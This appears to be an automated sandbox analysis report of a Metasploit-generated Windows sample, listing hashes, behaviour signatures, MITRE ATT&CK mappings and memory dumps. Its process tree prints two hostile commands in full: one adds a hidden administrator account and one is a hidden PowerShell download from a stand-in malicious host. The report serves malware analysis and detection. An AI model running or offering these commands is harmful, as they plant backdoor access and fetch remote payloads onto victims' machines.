metasploit | 92a439c2c5d3bb748830980a81137bfdde5dd0c4ff4d09fd32f969d613011f2c

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
01/06/2024, 17:35

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General

Target

sample1.exe
Size

83KB
MD5

dec37e4b834cf3a9a78475fec06255db
SHA1

bc6a9f3dd99e40dfe34ba8c64401027a3d86d2bc
SHA256

075a8576bb2f75bf56cfa8c88727011ac66f176ca5abe2a78978c556577e5058
SHA512

8402a9206285014fe6ab3752433835a7f907406d2c5fb23204a567d3f9940c844578ee525c64b6a67d81bf0983e7d3972fb2380d822cc9fd08eec098749d4a77
SSDEEP

1536:Icus7AQXjNta73Jah9UFBD3JMb+KR0Nc8QsJq3Gnq3+/q3DlHq3/:lAYhta7ouJe0Nc8QsCzDDm/

Score

10^/10

metasploit backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://web.danger.mal/danger

Extracted

Family

metasploit

Version

windows/exec

Extracted

Family

metasploit

Version

windows/shell_bind_tcp

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 1904	1636	sample1.exe	29
PID 1636 wrote to memory of 1904	1636	sample1.exe	29
PID 1636 wrote to memory of 1904	1636	sample1.exe	29
PID 1636 wrote to memory of 1904	1636	sample1.exe	29

C:\Users\Admin\AppData\Local\Temp\sample1.exe
"C:\Users\Admin\AppData\Local\Temp\sample1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user TestUser S3cret^S3cret /ADD && net localgroup Administrators TestUser /ADD
  2⤵
  PID:2388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy bypass -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadFile('http://web.danger.mal/danger','C:/danger')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1636-0-0x0000000000400000-0x000000000041B1FC-memory.dmp

Filesize
108KB

Download
memory/1636-1-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/1636-2-0x0000000000400000-0x000000000041B1FC-memory.dmp

Filesize
108KB

Download
memory/1904-5-0x0000000073E91000-0x0000000073E92000-memory.dmp

Filesize
4KB

Download
memory/1904-6-0x0000000073E90000-0x000000007443B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-7-0x0000000073E90000-0x000000007443B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-8-0x0000000073E90000-0x000000007443B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-9-0x0000000073E90000-0x000000007443B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-10-0x0000000073E90000-0x000000007443B000-memory.dmp

Filesize
5.7MB

Download